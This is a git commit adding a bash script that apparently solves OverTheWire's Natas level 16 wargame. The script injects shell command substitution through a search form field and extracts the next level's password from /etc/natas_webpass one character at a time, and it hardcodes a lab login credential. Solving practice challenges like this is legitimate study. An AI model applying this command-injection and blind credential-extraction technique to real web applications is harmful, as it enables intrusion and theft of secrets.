OverTheWire
This commit is contained in:
commit
500329a86b
17 changed files with 889 additions and 0 deletions
34
overthewire/natas/scripts/natas16.sh
Executable file
34
overthewire/natas/scripts/natas16.sh
Executable file
|
|
@ -0,0 +1,34 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
fcmd() {
|
||||
# echo '$(grep ^$1[a-zA-Z0-9]*$ /etc/natas_webpass/natas17)'
|
||||
echo "\$(grep ^$1.* /etc/natas_webpass/natas17)"
|
||||
}
|
||||
|
||||
req() {
|
||||
curl http://natas16.natas.labs.overthewire.org/index.php \
|
||||
-X POST \
|
||||
-u natas16:hPkjKYviLQctEW33QmuXL6eDVfMW4sGo \
|
||||
-d "needle=$1" \
|
||||
-sS \
|
||||
| grep --after-context 2 "<pre>" \
|
||||
| tail -n1 \
|
||||
| grep "African" &>/dev/null
|
||||
}
|
||||
|
||||
CHARSET="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
|
||||
KNOWN=""
|
||||
GUESS=""
|
||||
for ((i=0 ; i < 32 ; i++)); do
|
||||
for ((j=0; j<${#CHARSET}; j++)); do
|
||||
c=${CHARSET:j:1}
|
||||
GUESS="$KNOWN$c"
|
||||
echo -en "[*] Guess: $GUESS \r"
|
||||
# echo $(fcmd $guess)
|
||||
req "$(fcmd $GUESS)" || break # && KNOWN=$guess # && break
|
||||
done
|
||||
KNOWN=$GUESS
|
||||
echo -en "[+] Known: $KNOWN\n "
|
||||
done
|
||||
echo
|
||||
|
||||
Loading…
Add table
Add a link
Reference in a new issue